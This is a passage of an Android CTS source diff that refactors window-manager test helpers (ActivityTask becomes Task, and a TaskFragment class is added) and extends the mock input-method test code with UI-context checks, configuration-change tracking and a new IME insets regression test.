+        public TaskFragment getParentTaskFragment() {
+            if (mParent instanceof TaskFragment) {
+                return (TaskFragment) mParent;
+            }
+            if (mParent instanceof Task) {
+                return ((Task) mParent).getParentTaskFragment();
+            }
+            // If the parent is a TaskDisplayArea, it means this Task doesn't have TaskFragment
+            // parent.
+            return null;
         }
 
         public int getResizeMode() {
@@ -1369,12 +1443,14 @@
             return mSurfaceHeight;
         }
 
+        public String getAffinity() { return mAffinity; }
+
         public ArrayList<Activity> getActivities() {
             return mActivities;
         }
 
-        /** @return the top task in the stack. */
-        ActivityTask getTopTask() {
+        /** @return the top task in the root task. */
+        Task getTopTask() {
             // NOTE: Unlike the WindowManager internals, we dump the state from top to bottom,
             //       so the indices are inverted
             return getTask((t) -> true);
@@ -1384,23 +1460,28 @@
             return mResumedActivity;
         }
 
-        public List<ActivityTask> getTasks() {
+        public List<Task> getTasks() {
             return new ArrayList<>(mTasks);
         }
 
-        ActivityTask getTask(Predicate<ActivityTask> predicate) {
-            for (ActivityTask task : mTasks) {
+        /** Returns non-Task leaf {@link TaskFragment} list. */
+        public List<TaskFragment> getTaskFragments() {
+            return new ArrayList<>(mTaskFragments);
+        }
+
+        Task getTask(Predicate<Task> predicate) {
+            for (Task task : mTasks) {
                 if (predicate.test(task)) return task;
             }
             return predicate.test(this) ? this : null;
         }
 
-        ActivityTask getTask(int taskId) {
+        Task getTask(int taskId) {
             return getTask((t) -> t.mTaskId == taskId);
         }
 
-        void forAllTasks(Consumer<ActivityTask> consumer) {
-            for (ActivityTask task : mTasks) {
+        void forAllTasks(Consumer<Task> consumer) {
+            for (Task task : mTasks) {
                 consumer.accept(task);
             }
             consumer.accept(this);
@@ -1410,7 +1491,11 @@
             for (Activity activity : mActivities) {
                 if (predicate.test(activity)) return activity;
             }
-            for (ActivityTask task : mTasks) {
+            for (TaskFragment taskFragment : mTaskFragments) {
+                final Activity activity = taskFragment.getActivity(predicate);
+                if (activity != null) return activity;
+            }
+            for (Task task : mTasks) {
                 final Activity activity = task.getActivity(predicate);
                 if (activity != null) return activity;
             }
@@ -1429,7 +1514,7 @@
                     return false;
                 }
                 for (int excludeTaskId : excludeTaskIds) {
-                    if (activity.task.mTaskId == excludeTaskId) {
+                    if (activity.getTask().mTaskId == excludeTaskId) {
                         return false;
                     }
                 }
@@ -1447,6 +1532,67 @@
         }
     }
 
+    public static class TaskFragment extends ActivityContainer {
+        public int mDisplayId;
+        Task mParentTask;
+        ArrayList<Task> mTasks = new ArrayList<>();
+        ArrayList<TaskFragment> mTaskFragments = new ArrayList<>();
+        ArrayList<Activity> mActivities = new ArrayList<>();
+        int mTaskFragmentType;
+
+        TaskFragment(TaskFragmentProto proto, WindowContainer parent) {
+            super(proto.windowContainer);
+            mParentTask = (Task) parent;
+            mDisplayId = proto.displayId;
+            mTaskFragmentType = proto.activityType;
+            mMinWidth = proto.minWidth;
+            mMinHeight = proto.minHeight;
+
+            collectChildrenOfType(Task.class, this, mTasks);
+            collectChildrenOfType(TaskFragment.class, this, mTaskFragments);
+            collectChildrenOfType(Activity.class, this, mActivities);
+        }
+
+        public List<Task> getTasks() {
+            return mTasks;
+        }
+
+        /** Returns non-Task TaskFragment children. */
+        public List<TaskFragment> getTaskFragments() {
+            return mTaskFragments;
+        }
+
+        public List<Activity> getActivities() {
+            return mActivities;
+        }
+
+        Activity getActivity(Predicate<Activity> predicate) {
+            for (Activity activity : mActivities) {
+                if (predicate.test(activity)) {
+                    return activity;
+                }
+            }
+            for (TaskFragment taskFragment : mTaskFragments) {
+                final Activity activity = taskFragment.getActivity(predicate);
+                if (activity != null) {
+                    return activity;
+                }
+            }
+            for (Task task : mTasks) {
+                final Activity activity = task.getActivity(predicate);
+                if (activity != null) {
+                    return activity;
+                }
+            }
+            return null;
+        }
+
+        @Override
+        int getActivityType() {
+            return mTaskFragmentType;
+        }
+    }
+
     public static class Activity extends ActivityContainer {
 
         String name;
@@ -1454,22 +1600,42 @@
         boolean visible;
         boolean frontOfTask;
         boolean inSizeCompatMode;
+        float minAspectRatio;
+        boolean providesMaxBounds;
         int procId = -1;
         public boolean translucent;
-        ActivityTask task;
+        private WindowContainer mParent;
 
         Activity(ActivityRecordProto proto, WindowContainer parent) {
             super(proto.windowToken.windowContainer);
-            task = (ActivityTask) parent;
             name = proto.name;
             state = proto.state;
             visible = proto.visible;
             frontOfTask = proto.frontOfTask;
             inSizeCompatMode = proto.inSizeCompatMode;
+            minAspectRatio = proto.minAspectRatio;
+            providesMaxBounds = proto.providesMaxBounds;
             if (proto.procId != 0) {
                 procId = proto.procId;
             }
             translucent = proto.translucent;
+            mParent = parent;
+        }
+
+        @NonNull
+        public Task getTask() {
+            if (mParent instanceof Task) {
+                return (Task) mParent;
+            }
+            return ((TaskFragment) mParent).mParentTask;
+        }
+
+        @Nullable
+        public TaskFragment getTaskFragment() {
+            if (mParent instanceof TaskFragment) {
+                return (TaskFragment) mParent;
+            }
+            return ((Task) mParent).getParentTaskFragment();
         }
 
         public String getName() {
@@ -1484,6 +1650,14 @@
             return inSizeCompatMode;
         }
 
+        public float getMinAspectRatio() {
+            return minAspectRatio;
+        }
+
+        public boolean providesMaxBounds() {
+            return providesMaxBounds;
+        }
+
         @Override
         public Rect getBounds() {
             if (mBounds == null) {
@@ -1690,7 +1864,11 @@
         }
 
         if (proto.task != null) {
-            return new ActivityTask(proto.task);
+            return new Task(proto.task, parent);
+        }
+
+        if (proto.taskFragment != null) {
+            return new TaskFragment(proto.taskFragment, parent);
         }
 
         if (proto.activity != null) {
@@ -1942,7 +2120,7 @@
     }
 
     int defaultMinimalTaskSize(int displayId) {
-        return dpToPx(DEFAULT_RESIZABLE_TASK_SIZE_DP, getDisplay(displayId).getDpi());
+        return dpToPx(mDefaultMinSizeOfResizableTaskDp, getDisplay(displayId).getDpi());
     }
 
     int defaultMinimalDisplaySizeForSplitScreen(int displayId) {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index e5621dd..16e5c2e 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -17,6 +17,7 @@
 package android.server.wm;
 
 import static android.app.ActivityTaskManager.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.server.wm.ComponentNameUtils.getActivityName;
@@ -114,6 +115,19 @@
         }
     }
 
+    public void waitForAllNonHomeActivitiesToDestroyed() {
+        Condition.waitFor("all non-home activities to be destroyed", () -> {
+            computeState();
+            for (Task rootTask : getRootTasks()) {
+                final Activity activity = rootTask.getActivity(
+                        (a) -> !a.state.equals(STATE_DESTROYED)
+                                && a.getActivityType() != ACTIVITY_TYPE_HOME);
+                if (activity != null) return false;
+            }
+            return true;
+        });
+    }
+
     /**
      * Compute AM and WM state of device, wait for the activity records to be added, and
      * wait for debugger window to show up.
@@ -216,7 +230,7 @@
      */
     public void waitForActivityOrientation(ComponentName activityName, int orientation) {
         waitForWithAmState(amState -> {
-            final ActivityTask task = amState.getTaskByActivity(activityName);
+            final Task task = amState.getTaskByActivity(activityName);
             if (task == null) {
                 return false;
             }
@@ -251,9 +265,9 @@
     public void waitForFocusedStack(int windowingMode, int activityType) {
         waitForWithAmState(state ->
                         (activityType == ACTIVITY_TYPE_UNDEFINED
-                                || state.getFocusedStackActivityType() == activityType)
+                                || state.getFocusedRootTaskActivityType() == activityType)
                         && (windowingMode == WINDOWING_MODE_UNDEFINED
-                                || state.getFocusedStackWindowingMode() == windowingMode),
+                                || state.getFocusedRootTaskWindowingMode() == windowingMode),
                 "focused stack");
     }
 
@@ -327,9 +341,9 @@
 
     public void waitWindowingModeTopFocus(int windowingMode, boolean topFocus, String message) {
         waitForWithAmState(amState -> {
-            final ActivityTask stack = amState.getStandardStackByWindowingMode(windowingMode);
-            return stack != null
-                    && topFocus == (amState.getFocusedStackId() == stack.getRootTaskId());
+            final Task rootTask = amState.getStandardRootTaskByWindowingMode(windowingMode);
+            return rootTask != null
+                    && topFocus == (amState.getFocusedTaskId() == rootTask.getRootTaskId());
         }, message);
     }
 
@@ -371,7 +385,7 @@
      * @return true if should wait for valid stacks state.
      */
     private boolean shouldWaitForValidStacks() {
-        final int stackCount = getStackCount();
+        final int stackCount = getRootTaskCount();
         if (stackCount == 0) {
             logAlways("***stackCount=" + stackCount);
             return true;
@@ -512,7 +526,7 @@
     }
 
     void assertValidity() {
-        assertThat("Must have stacks", getStackCount(), greaterThan(0));
+        assertThat("Must have root task", getRootTaskCount(), greaterThan(0));
         // TODO: Update when keyguard will be shown on multiple displays
         if (!getKeyguardControllerState().keyguardShowing) {
             assertThat("There should be at least one resumed activity in the system.",
@@ -520,10 +534,11 @@
         }
         assertNotNull("Must have focus activity.", getFocusedActivity());
 
-        for (ActivityTask aStack : getRootTasks()) {
-            final int stackId = aStack.mRootTaskId;
-            for (ActivityTask aTask : aStack.getTasks()) {
-                assertEquals("Stack can only contain its own tasks", stackId, aTask.mRootTaskId);
+        for (Task rootTask : getRootTasks()) {
+            final int taskId = rootTask.mRootTaskId;
+            for (Task task : rootTask.getTasks()) {
+                assertEquals("Root task can only contain its own tasks", taskId,
+                        task.mRootTaskId);
             }
         }
 
@@ -533,11 +548,11 @@
     }
 
     public void assertContainsStack(String msg, int windowingMode, int activityType) {
-        assertTrue(msg, containsStack(windowingMode, activityType));
+        assertTrue(msg, containsRootTasks(windowingMode, activityType));
     }
 
     public void assertDoesNotContainStack(String msg, int windowingMode, int activityType) {
-        assertFalse(msg, containsStack(windowingMode, activityType));
+        assertFalse(msg, containsRootTasks(windowingMode, activityType));
     }
 
     public void assertFrontStack(String msg, int windowingMode, int activityType) {
@@ -547,28 +562,27 @@
     public void assertFrontStackOnDisplay(String msg, int windowingMode, int activityType,
             int displayId) {
         if (windowingMode != WINDOWING_MODE_UNDEFINED) {
-            assertEquals(msg, windowingMode,
-                    getFrontStackWindowingMode(displayId));
+            assertEquals(msg, windowingMode, getFrontRootTaskWindowingMode(displayId));
         }
         if (activityType != ACTIVITY_TYPE_UNDEFINED) {
-            assertEquals(msg, activityType, getFrontStackActivityType(displayId));
+            assertEquals(msg, activityType, getFrontRootTaskActivityType(displayId));
         }
     }
 
     public void assertFrontStackActivityType(String msg, int activityType) {
-        assertEquals(msg, activityType, getFrontStackActivityType(DEFAULT_DISPLAY));
+        assertEquals(msg, activityType, getFrontRootTaskActivityType(DEFAULT_DISPLAY));
     }
 
-    void assertFocusedStack(String msg, int stackId) {
-        assertEquals(msg, stackId, getFocusedStackId());
+    void assertFocusedRootTask(String msg, int taskId) {
+        assertEquals(msg, taskId, getFocusedTaskId());
     }
 
-    void assertFocusedStack(String msg, int windowingMode, int activityType) {
+    void assertFocusedRootTask(String msg, int windowingMode, int activityType) {
         if (windowingMode != WINDOWING_MODE_UNDEFINED) {
-            assertEquals(msg, windowingMode, getFocusedStackWindowingMode());
+            assertEquals(msg, windowingMode, getFocusedRootTaskWindowingMode());
         }
         if (activityType != ACTIVITY_TYPE_UNDEFINED) {
-            assertEquals(msg, activityType, getFocusedStackActivityType());
+            assertEquals(msg, activityType, getFocusedRootTaskActivityType());
         }
     }
 
@@ -724,8 +738,8 @@
 
     public void assertIllegalTaskState() {
         computeState();
-        final List<ActivityTask> tasks = getRootTasks();
-        for (ActivityTask task : tasks) {
+        final List<Task> tasks = getRootTasks();
+        for (Task task : tasks) {
             task.forAllTasks((t) -> assertWithMessage("Empty task was found, id = " + t.mTaskId)
                     .that(t.mTasks.size() + t.mActivities.size()).isGreaterThan(0));
             if (task.isLeafTask()) {
diff --git a/tests/inputmethod/AndroidManifest.xml b/tests/inputmethod/AndroidManifest.xml
index 8ce099b..18c6ebf 100644
--- a/tests/inputmethod/AndroidManifest.xml
+++ b/tests/inputmethod/AndroidManifest.xml
@@ -29,7 +29,7 @@
         <activity android:name="android.view.inputmethod.cts.util.TestActivity"
              android:theme="@style/no_starting_window"
              android:label="TestActivity"
-             android:configChanges="fontScale"
+             android:configChanges="fontScale|smallestScreenSize|screenSize|screenLayout"
              android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index dfead81..23e26e4 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -18,6 +18,7 @@
 <configuration description="Config for CTS InputMethod test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="inputmethod" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/tests/inputmethod/mockime/Android.bp b/tests/inputmethod/mockime/Android.bp
index 5ee0505..a724602 100644
--- a/tests/inputmethod/mockime/Android.bp
+++ b/tests/inputmethod/mockime/Android.bp
@@ -44,6 +44,7 @@
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "gts",
         "general-tests",
         "mts",
         "sts",
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
index 5f88d27..bf301d6 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
@@ -169,6 +169,25 @@
     }
 
     /**
+     * Checks if {@code eventName} has occurred on the EditText(or TextView) of the current
+     * activity mainly for onStartInput restarting check.
+     * @param eventName event name to check
+     * @param marker Test marker set to {@link android.widget.EditText#setPrivateImeOptions(String)}
+     * @return true if event occurred and restarting is false.
+     */
+    public static Predicate<ImeEvent> editorMatcherRestartingFalse(
+            @NonNull String eventName, @NonNull String marker) {
+        return event -> {
+            if (!TextUtils.equals(eventName, event.getEventName())) {
+                return false;
+            }
+            final EditorInfo editorInfo = event.getArguments().getParcelable("editorInfo");
+            final boolean restarting = event.getArguments().getBoolean("restarting");
+            return (TextUtils.equals(marker, editorInfo.privateImeOptions) && !restarting );
+        };
+    }
+
+    /**
     * Checks if {@code eventName} has occurred on the EditText(or TextView) of the current
     * activity.
     * @param eventName event name to check
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
index fdeedfc..5757750 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
@@ -53,7 +53,7 @@
     private static final String INLINE_SUGGESTION_VIEW_CONTENT_DESC =
             "InlineSuggestionViewContentDesc";
     private static final String STRICT_MODE_ENABLED = "StrictModeEnabled";
-    private static final String VERIFY_GET_DISPLAY_ON_CREATE = "VerifyGetDisplayOnCreate";
+    private static final String VERIFY_CONTEXT_APIS_IN_ON_CREATE = "VerifyContextApisInOnCreate";
 
     @NonNull
     private final PersistableBundle mBundle;
@@ -133,8 +133,8 @@
         return mBundle.getBoolean(STRICT_MODE_ENABLED, false);
     }
 
-    public boolean isVerifyGetDisplayOnCreate() {
-        return mBundle.getBoolean(VERIFY_GET_DISPLAY_ON_CREATE, false);
+    public boolean isVerifyContextApisInOnCreate() {
+        return mBundle.getBoolean(VERIFY_CONTEXT_APIS_IN_ON_CREATE, false);
     }
 
     static Bundle serializeToBundle(@NonNull String eventCallbackActionName,
@@ -297,11 +297,14 @@
         }
 
         /**
-         * Sets whether to verify {@link android.inputmethodservice.InputMethodService#getDisplay()}
-         * or not.
+         * Sets whether to verify below {@link android.content.Context} APIs or not:
+         * <ul>
+         *     <li>{@link android.inputmethodservice.InputMethodService#getDisplay}</li>
+         *     <li>{@link android.inputmethodservice.InputMethodService#isUiContext}</li>
+         * </ul>
          */
-        public Builder setVerifyGetDisplayOnCreate(boolean enabled) {
-            mBundle.putBoolean(VERIFY_GET_DISPLAY_ON_CREATE, enabled);
+        public Builder setVerifyUiContextApisInOnCreate(boolean enabled) {
+            mBundle.putBoolean(VERIFY_CONTEXT_APIS_IN_ON_CREATE, enabled);
             return this;
         }
     }
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index 75c30aa..342ab91 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -116,6 +116,8 @@
 
     private final Handler mMainHandler = new Handler();
 
+    private final Configuration mLastDispatchedConfiguration = new Configuration();
+
     private static final class CommandReceiver extends BroadcastReceiver {
         @NonNull
         private final String mActionName;
@@ -367,6 +369,8 @@
                         } catch (UnsupportedOperationException e) {
                             return e;
                         }
+                    case "verifyIsUiContext":
+                        return verifyIsUiContext();
                     case "verifyGetWindowManager": {
                         final WindowManager imsWm = getSystemService(WindowManager.class);
                         final WindowManager configContextWm =
@@ -420,6 +424,10 @@
 
                         return ImeEvent.RETURN_VALUE_UNAVAILABLE;
                     }
+                    case "getCurrentWindowMetricsBounds": {
+                        return getSystemService(WindowManager.class)
+                                .getCurrentWindowMetrics().getBounds();
+                    }
                 }
             }
             return ImeEvent.RETURN_VALUE_UNAVAILABLE;
@@ -437,6 +445,19 @@
         return display != null && configContextDisplay != null;
     }
 
+    private boolean verifyIsUiContext() {
+        final Configuration config = new Configuration();
+        config.setToDefaults();
+        final Context configContext = createConfigurationContext(config);
+        // The value must be true because ConfigurationContext is derived from InputMethodService,
+        // which is a UI Context.
+        final boolean imeDerivedConfigContext = configContext.isUiContext();
+        // The value must be false because DisplayContext won't receive any config update from
+        // server.
+        final boolean imeDerivedDisplayContext = createDisplayContext(getDisplay()).isUiContext();
+        return isUiContext() && imeDerivedConfigContext && !imeDerivedDisplayContext;
+    }
+
     @Nullable
     private Bundle mInlineSuggestionsExtras;
 
@@ -524,7 +545,8 @@
             } else {
                 registerReceiver(mCommandReceiver, filter, null /* broadcastPermission */, handler);
             }
-            if (mSettings.isVerifyGetDisplayOnCreate()) {
+            if (mSettings.isVerifyContextApisInOnCreate()) {
+                getTracer().onVerify("isUiContext", this::verifyIsUiContext);
                 getTracer().onVerify("getDisplay", this::verifyGetDisplay);
             }
             final int windowFlags = mSettings.getWindowFlags(0);
@@ -552,6 +574,10 @@
             if (mSettings.hasNavigationBarColor()) {
                 getWindow().getWindow().setNavigationBarColor(mSettings.getNavigationBarColor());
             }
+
+            // Initialize to current Configuration to prevent unexpected configDiff value dispatched
+            // in IME event.
+            mLastDispatchedConfiguration.setTo(getResources().getConfiguration());
         });
     }
 
@@ -967,6 +993,12 @@
         });
     }
 
+    @Override
+    public void onConfigurationChanged(Configuration configuration) {
+        getTracer().onConfigurationChanged(() -> {}, configuration);
+        mLastDispatchedConfiguration.setTo(configuration);
+    }
+
     /**
      * Event tracing helper class for {@link MockIme}.
      */
@@ -1244,5 +1276,13 @@
             final Bundle arguments = new Bundle();
             recordEventInternal("onInlineSuggestionLongClickedEvent", runnable, arguments);
         }
+
+        void onConfigurationChanged(@NonNull Runnable runnable, Configuration configuration) {
+            final Bundle arguments = new Bundle();
+            arguments.putParcelable("Configuration", configuration);
+            arguments.putInt("ConfigUpdates", configuration.diff(
+                    mIme.mLastDispatchedConfiguration));
+            recordEventInternal("onConfigurationChanged", runnable, arguments);
+        }
     }
 }
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index 124c45b..2aa20c1 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -1156,6 +1156,11 @@
     }
 
     @NonNull
+    public ImeCommand callVerifyIsUiContext() {
+        return callCommandInternal("verifyIsUiContext", new Bundle());
+    }
+
+    @NonNull
     public ImeCommand callVerifyGetWindowManager() {
         return callCommandInternal("verifyGetWindowManager", new Bundle());
     }
@@ -1184,4 +1189,9 @@
     public ImeCommand callVerifyGetGestureDetectorOnDisplayContext() {
         return callCommandInternal("verifyGetGestureDetectorOnDisplayContext", new Bundle());
     }
+
+    @NonNull
+    public ImeCommand callGetCurrentWindowMetricsBounds() {
+        return callCommandInternal("getCurrentWindowMetricsBounds", new Bundle());
+    }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 5c738e1..34d4443 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -25,6 +25,7 @@
 import static android.widget.PopupWindow.INPUT_METHOD_NOT_NEEDED;
 
 import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcherRestartingFalse;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
@@ -159,7 +160,8 @@
             assertFalse(stream.dump(), onStart.getArguments().getBoolean("restarting"));
 
             // There shouldn't be onStartInput any more.
-            notExpectEvent(stream, editorMatcher("onStartInput", marker), NOT_EXPECT_TIMEOUT);
+            notExpectEvent(stream, editorMatcherRestartingFalse("onStartInput", marker),
+                           NOT_EXPECT_TIMEOUT);
         }
     }
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
index 752ce01..1eac684 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
@@ -78,6 +78,7 @@
 @RunWith(AndroidJUnit4.class)
 public class ImeInsetsVisibilityTest extends EndToEndImeTestBase {
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
     private static final int NEW_KEYBOARD_HEIGHT = 300;
 
     private static final String TEST_MARKER_PREFIX =
@@ -320,6 +321,86 @@
         }
     }
 
+    /**
+     * Test the IME window won't cover the editor when the app creates a panel window to receive
+     * the IME insets.
+     *
+     * <p>Regression test for Bug 195765264 and Bug 152304051.</p>
+     */
+    @Test
+    public void testEditorWontCoveredByImeWhenInputWindowBehindPanel() throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+            final String marker = getTestMarker();
+            // Launch a test activity with SOFT_INPUT_ADJUST_NOTHING to not resize by IME insets.
+            final AtomicReference<EditText> editTextRef = new AtomicReference<>();
+            final TestActivity testActivity = TestActivity.startSync(activity -> {
+                final LinearLayout layout = new LinearLayout(activity);
+                layout.setOrientation(LinearLayout.VERTICAL);
+                layout.setGravity(Gravity.BOTTOM);
+                final EditText editText = new EditText(activity);
+                editText.setHint("focused editText");
+                editText.setPrivateImeOptions(marker);
+                // Initial editor visibility as GONE for testing IME visibility controlled by panel.
+                editText.setVisibility(View.GONE);
+                editTextRef.set(editText);
+                layout.addView(editText);
+                activity.getWindow().setSoftInputMode(
+                        WindowManager.LayoutParams.SOFT_INPUT_ADJUST_NOTHING);
+                return layout;
+            });
+            final EditText editText = editTextRef.get();
+            // Create a panel window to receive IME insets for adjusting editText position.
+            final View panelView = TestUtils.getOnMainSync(() -> {
+                final View panel = new View(testActivity);
+                panel.setOnApplyWindowInsetsListener((v, insets) -> {
+                    if (insets.isVisible(WindowInsets.Type.ime())) {
+                        // Request editText focused when IME insets visible.
+                        editText.setVisibility(View.VISIBLE);
+                        editText.requestFocus();
+                        LinearLayout.LayoutParams lp =
+                                (LinearLayout.LayoutParams) editText.getLayoutParams();
+                        lp.setMargins(0, 0, 0, editText.getRootView().getMeasuredHeight()
+                                - panel.getMeasuredHeight());
+                        editText.requestLayout();
+                    } else {
+                        // Clear editText focused when IME insets invisible.
+                        editText.clearFocus();
+                        editText.setVisibility(View.GONE);
+                    }
+                    return insets;
+                });
+                final WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
+                        1, MATCH_PARENT,
+                        0, 0, WindowManager.LayoutParams.TYPE_APPLICATION_ATTACHED_DIALOG,
+                        WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
+                                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
+                                | WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM,
+                        PixelFormat.TRANSLUCENT);
+                lp.setFitInsetsTypes(WindowInsets.Type.ime() | WindowInsets.Type.systemBars());
+                lp.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE;
+                lp.token = testActivity.getWindow().getDecorView().getWindowToken();
+                testActivity.getWindowManager().addView(panel, lp);
+                return panel;
+            });
+            notExpectEvent(stream, editorMatcher("onStartInputView", marker), NOT_EXPECT_TIMEOUT);
+            expectImeInvisible(TIMEOUT);
+            // Show IME by using WindowInsets API.
+            testActivity.getWindow().getInsetsController().show(WindowInsets.Type.ime());
+            TestUtils.waitOnMainUntil(() -> isInsetsVisible(panelView.getRootWindowInsets(),
+                    WindowInsets.Type.ime()), TIMEOUT, "The panel should receive IME insets");
+            TestUtils.waitOnMainUntil(
+                    () -> editText.getVisibility() == View.VISIBLE && editText.hasFocus(),
+                    TIMEOUT, "The editor should be shown and visible");
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectImeVisible(TIMEOUT);
+        }
+    }
+
     private boolean isInsetsVisible(WindowInsets winInsets, int type) {
         if (winInsets == null) {
             return false;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionBlockingMethodTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionBlockingMethodTest.java
index 4c6cce8..2ac8a33 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionBlockingMethodTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionBlockingMethodTest.java
@@ -18,7 +18,6 @@
 
 import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
 
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
@@ -42,6 +41,7 @@
 import android.view.inputmethod.InputConnectionWrapper;
 import android.view.inputmethod.InputContentInfo;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
+import android.view.inputmethod.cts.util.MockTestActivityUtil;
 import android.view.inputmethod.cts.util.TestActivity;
 import android.widget.EditText;
 import android.widget.LinearLayout;
@@ -143,14 +143,13 @@
     }
 
     /**
-     * Tries to trigger {@link com.android.cts.mockime.MockIme#onUnbindInput()} by showing the
-     * Launcher.
+     * Tries to trigger {@link com.android.cts.mockime.MockIme#onUnbindInput()} by showing another
+     * Activity in a different process.
      */
     private void triggerUnbindInput() {
-        // Note: We hope showing the launcher is sufficient to trigger onUnbindInput() in MockIme,
-        // but if it turns out to be not sufficient, consider launching a different Activity in a
-        // separate process.
-        runShellCommand("input keyevent KEYCODE_HOME");
+        final boolean isInstant = InstrumentationRegistry.getInstrumentation().getTargetContext()
+                .getPackageManager().isInstantApp();
+        MockTestActivityUtil.launchSync(isInstant, TIMEOUT);
     }
 
     /**
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
index 0723d3f..6eeb1da 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
@@ -501,7 +501,7 @@
     public void testGetDisplay() throws Exception {
         try (MockImeSession imeSession = MockImeSession.create(
                 mInstrumentation.getContext(), mInstrumentation.getUiAutomation(),
-                new ImeSettings.Builder().setVerifyGetDisplayOnCreate(true))) {
+                new ImeSettings.Builder().setVerifyUiContextApisInOnCreate(true))) {
             final ImeEventStream stream = imeSession.openEventStream();
 
             // Verify if getDisplay doesn't throw exception before InputMethodService's
@@ -693,6 +693,43 @@
         }
     }
 
+    /** Verify if {@link InputMethodService#isUiContext()} returns {@code true}. */
+    @Test
+    public void testIsUiContext() throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                mInstrumentation.getContext(), mInstrumentation.getUiAutomation(),
+                new ImeSettings.Builder().setVerifyUiContextApisInOnCreate(true))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            // Verify if InputMethodService#isUiContext returns true in #onCreate
+            assertTrue(expectEvent(stream, verificationMatcher("isUiContext"),
